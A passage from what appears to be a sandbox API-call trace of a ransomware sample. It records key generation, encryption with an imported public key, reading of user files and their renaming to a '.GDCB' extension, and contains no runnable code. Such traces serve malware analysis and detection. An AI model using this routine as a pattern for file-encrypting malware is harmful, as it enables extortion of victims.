Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Microsoft\\Windows\\UsrClass.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\microsoft\\windows\\usrclass.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0303.859] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4e48) returned 1 [0303.862] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0303.864] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0303.864] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0303.864] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0303.864] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4760) returned 1 [0303.867] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0303.869] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0303.869] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0303.869] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0303.869] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0303.872] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67aed70) returned 1 [0303.872] CryptGetKeyParam (in: hKey=0x67aed70, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0303.872] CryptEncrypt (in: hKey=0x67aed70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdd00000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xdd00000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0303.872] GetLastError () returned 0x0 [0303.872] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0303.872] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0303.874] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67aef70) returned 1 [0303.874] CryptGetKeyParam (in: hKey=0x67aef70, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0303.874] CryptEncrypt (in: hKey=0x67aef70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdd10000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xdd10000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0303.874] GetLastError () returned 0x0 [0303.874] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0303.874] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Microsoft\\Windows\\WebCache\\V01.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\microsoft\\windows\\webcache\\v01.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0303.876] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4760) returned 1 [0303.879] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0303.881] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0303.881] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0303.882] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0303.882] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4760) returned 1 [0303.884] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0303.886] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0303.888] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0303.888] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0303.888] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4e48) returned 1 [0303.890] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67aeff0) returned 1 [0303.890] CryptGetKeyParam (in: hKey=0x67aeff0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0303.890] CryptEncrypt (in: hKey=0x67aeff0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdd20000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xdd20000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0303.890] GetLastError () returned 0x0 [0303.890] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0303.890] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0303.892] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67aeaf0) returned 1 [0303.892] CryptGetKeyParam (in: hKey=0x67aeaf0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0303.892] CryptEncrypt (in: hKey=0x67aeaf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdd30000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xdd30000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0303.893] GetLastError () returned 0x0 [0303.893] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0303.893] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Microsoft\\Windows\\WebCache\\V01tmp.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\microsoft\\windows\\webcache\\v01tmp.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0303.894] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4760) returned 1 [0303.897] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0303.899] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0303.899] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e7cc | out: pbBuffer=0x285e7cc) returned 1 [0303.899] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0303.899] CryptAcquireContextW (in: phProv=0x285e67c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e67c*=0x5c4e48) returned 1 [0303.902] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0303.905] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0303.905] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e798 | out: pbBuffer=0x285e798) returned 1 [0303.905] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0303.905] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0303.907] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67aecf0) returned 1 [0303.907] CryptGetKeyParam (in: hKey=0x67aecf0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0303.907] CryptEncrypt (in: hKey=0x67aecf0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdd40000*, pdwDataLen=0x285e7e4*=0xc8, dwBufLen=0x800 | out: pbData=0xdd40000*, pdwDataLen=0x285e7e4*=0x100) returned 1 [0303.908] GetLastError () returned 0x0 [0303.908] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0303.908] CryptAcquireContextW (in: phProv=0x285e66c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e66c*=0x5c4760) returned 1 [0303.909] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e670 | out: phKey=0x285e670*=0x67aedb0) returned 1 [0303.909] CryptGetKeyParam (in: hKey=0x67aedb0, dwParam=0x8, pbData=0x285e65c, pdwDataLen=0x285e664, dwFlags=0x0 | out: pbData=0x285e65c*=0x800, pdwDataLen=0x285e664*=0x4) returned 1 [0303.909] CryptEncrypt (in: hKey=0x67aedb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdd50000*, pdwDataLen=0x285e7e8*=0xc8, dwBufLen=0x800 | out: pbData=0xdd50000*, pdwDataLen=0x285e7e8*=0x100) returned 1 [0303.910] GetLastError () returned 0x0 [0303.910] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0303.910] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Microsoft\\Windows\\WebCache\\WebCacheV01.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\microsoft\\windows\\webcache\\webcachev01.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0304.355] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4e48) returned 1 [0304.358] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0304.361] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0304.361] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0304.361] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0304.361] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4e48) returned 1 [0304.363] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0304.366] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0304.366] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0304.366] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0304.366] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4980) returned 1 [0304.368] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67aee70) returned 1 [0304.368] CryptGetKeyParam (in: hKey=0x67aee70, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0304.368] CryptEncrypt (in: hKey=0x67aee70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdd60000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0xdd60000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0304.369] GetLastError () returned 0x0 [0304.369] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0304.369] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4e48) returned 1 [0304.371] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67aeb70) returned 1 [0304.371] CryptGetKeyParam (in: hKey=0x67aeb70, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0304.371] CryptEncrypt (in: hKey=0x67aeb70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdd70000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0xdd70000*, pdwDataLen=0x285e560*=0x100) returned 1 [0304.371] GetLastError () returned 0x0 [0304.371] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0304.371] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Microsoft.Windows.AssignedAccessLockApp_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\microsoft.windows.assignedaccesslockapp_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0304.371] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xdd80000 [0304.374] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xdd90000 [0304.377] ReadFile (in: hFile=0x4f8, lpBuffer=0xdd90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e5a0, lpOverlapped=0x0 | out: lpBuffer=0xdd90000*, lpNumberOfBytesRead=0x285e5a0*=0x2000, lpOverlapped=0x0) returned 1 [0304.390] VirtualAlloc (lpAddress=0x0, dwSize=0x2000, flAllocationType=0x3000, flProtect=0x4) returned 0xdea0000 [0304.397] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Microsoft.Windows.AssignedAccessLockApp_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\microsoft.windows.assignedaccesslockapp_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages\\Microsoft.Windows.AssignedAccessLockApp_cw5n1h2txyewy\\Microsoft.Windows.AssignedAccessLockApp_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\packages\\microsoft.windows.assignedaccesslockapp_cw5n1h2txyewy\\microsoft.windows.assignedaccesslockapp_1000.10240.16384.0_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat.gdcb")) returned 0 [0304.423] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4760) returned 1 [0304.426] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0304.428] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0304.428] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0304.428] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0304.428] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4e48) returned 1 [0304.431] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0304.433] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0304.433] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0304.434] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0304.434] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4760) returned 1 [0304.436] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67ae8f0) returned 1 [0304.436] CryptGetKeyParam (in: hKey=0x67ae8f0, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0304.436] CryptEncrypt (in: hKey=0x67ae8f0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdd60000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0xdd60000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0304.436] GetLastError () returned 0x0 [0304.436] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0304.436] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4760) returned 1 [0304.438] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67ae9b0) returned 1 [0304.438] CryptGetKeyParam (in: hKey=0x67ae9b0, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0304.438] CryptEncrypt (in: hKey=0x67ae9b0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdd70000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0xdd70000*, pdwDataLen=0x285e560*=0x100) returned 1 [0304.438] GetLastError () returned 0x0 [0304.438] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0304.438] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\Microsoft.Windows.CloudExperienceHost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\microsoft.windows.cloudexperiencehost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0304.439] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xdd80000 [0304.442] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xdd90000 [0304.445] ReadFile (in: hFile=0x4f8, lpBuffer=0xdd90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e5a0, lpOverlapped=0x0 | out: lpBuffer=0xdd90000*, lpNumberOfBytesRead=0x285e5a0*=0x8000, lpOverlapped=0x0) returned 1 [0304.453] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x3000, flProtect=0x4) returned 0xdea0000 [0304.459] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\Microsoft.Windows.CloudExperienceHost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\microsoft.windows.cloudexperiencehost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages\\Microsoft.Windows.CloudExperienceHost_cw5n1h2txyewy\\Microsoft.Windows.CloudExperienceHost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\packages\\microsoft.windows.cloudexperiencehost_cw5n1h2txyewy\\microsoft.windows.cloudexperiencehost_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat.gdcb")) returned 1 [0304.497] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4760) returned 1 [0304.501] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0304.503] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0304.503] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285e544 | out: pbBuffer=0x285e544) returned 1 [0304.503] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0304.503] CryptAcquireContextW (in: phProv=0x285e3f4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285e3f4*=0x5c4e48) returned 1 [0304.506] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0304.508] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0304.508] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285e510 | out: pbBuffer=0x285e510) returned 1 [0304.508] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0304.508] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4760) returned 1 [0304.511] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67aef30) returned 1 [0304.511] CryptGetKeyParam (in: hKey=0x67aef30, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0304.511] CryptEncrypt (in: hKey=0x67aef30, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdd60000*, pdwDataLen=0x285e55c*=0xc8, dwBufLen=0x800 | out: pbData=0xdd60000*, pdwDataLen=0x285e55c*=0x100) returned 1 [0304.511] GetLastError () returned 0x0 [0304.511] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0304.511] CryptAcquireContextW (in: phProv=0x285e3e4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285e3e4*=0x5c4760) returned 1 [0304.513] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285e3e8 | out: phKey=0x285e3e8*=0x67aeeb0) returned 1 [0304.513] CryptGetKeyParam (in: hKey=0x67aeeb0, dwParam=0x8, pbData=0x285e3d4, pdwDataLen=0x285e3dc, dwFlags=0x0 | out: pbData=0x285e3d4*=0x800, pdwDataLen=0x285e3dc*=0x4) returned 1 [0304.513] CryptEncrypt (in: hKey=0x67aeeb0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xdd70000*, pdwDataLen=0x285e560*=0xc8, dwBufLen=0x800 | out: pbData=0xdd70000*, pdwDataLen=0x285e560*=0x100) returned 1 [0304.513] GetLastError () returned 0x0 [0304.513] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0304.513] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Microsoft.Windows.ContentDeliveryManager_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\packages\\microsoft.windows.contentdeliverymanager_cw5n1h2txyewy\\microsoft.windows.contentdeliverymanager_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\activationstore\\activationstore.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x4f8 [0304.514] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xdd80000 [0304.517] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xdd90000 [0304.519] ReadFile (in: hFile=0x4f8, lpBuffer=0xdd90000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285e5a0, lpOverlapped=0x0 | out: lpBuffer=0xdd90000*, lpNumberOfBytesRead=0x285e5a0*=0x8000, lpOverlapped=0x0) returned 1 [0304.539] VirtualAlloc (lpAddress=0x0, dwSize=0x8000, flAllocationType=0x3000, flProtect=0x4) returned 0xdea0000 [0304.546] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Packages\\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\\Microsoft.Windows.ContentDeliveryManager_10.0.10240.16384_neutral_neutral_cw5n1h2txyewy\\ActivationStore\\ActivationStore.dat" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application 